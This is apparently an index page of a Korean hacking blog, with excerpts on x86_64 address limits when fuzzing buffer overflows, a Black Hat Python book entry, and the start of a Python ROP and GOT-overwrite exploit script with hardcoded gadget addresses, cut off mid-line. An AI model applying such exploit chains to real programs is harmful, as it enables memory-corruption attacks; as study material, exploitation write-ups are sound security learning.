목록전체 글 (347)
Hacking Arts
0x01 x86과 x86_64의 차이점 메모리 주소크기가 64비트이지만 첫 47비트 공간만을 사용한다 그래서 0x00007fffffffffff 보다 큰 주소값을 지정했다가는 예외가 발생한다고 한다. 0x4141414141414141은 얘외가 발생하고 0x0000414141414141은 예외가 발생하지 않는다고 합니다. 즉 이게 문제인점은 우리가 만일 4개의 바이트를 빼고 덮으면 예외가 되지않고 정상실행이 되는거네요 퍼징할때는 아무래도 그냥 무작정 덮는데 만일 4byte를 빼고 퍼징이 돌려지면 취약점이 아닌것처럼 보여질수도 있겠다는 얘기가 되겠네요 0x02 취약한 코드 ` 이렇게 됩니다. 기본적으로 64bit환경에는 메모리 보호기법이 포함되어있어서 stack기반으로는 될수 없다고 보면됩니다. 그래서 컴파일..
보호되어 있는 글입니다.
보호되어 있는 글입니다.
보호되어 있는 글입니다.
보호되어 있는 글입니다.
Black Hat Python국내도서저자 : 저스틴 지이츠(Justin Seitz) / 민병호역출판 : 에이콘출판사 2015.04.30상세보기저자 : 저스틴 지이츠옮긴이 : 민병호출판사 : 에이콘
#!/usr/bin/env python # # #ROP + GOT overwrite # # import struct p = lambda x : struct.pack("L",x)[0] # var strcpy = p(0x08048374) puts_got = [p(0x804975c),p(0x804975d),p(0x804975e),p(0x804975f)] puts_plt = p(0x8048394) ppr = p(0x8048588) bbs = [p(0x08049774),p(0x08049775),p(0x08049776),p(0x08049778),p(0x08049779),p(0x0804977a),p(0x0804977b)] hex_00 = p(0x0804976c) hex_1d = p(0x0804976e) hex_b7 ..
보호되어 있는 글입니다.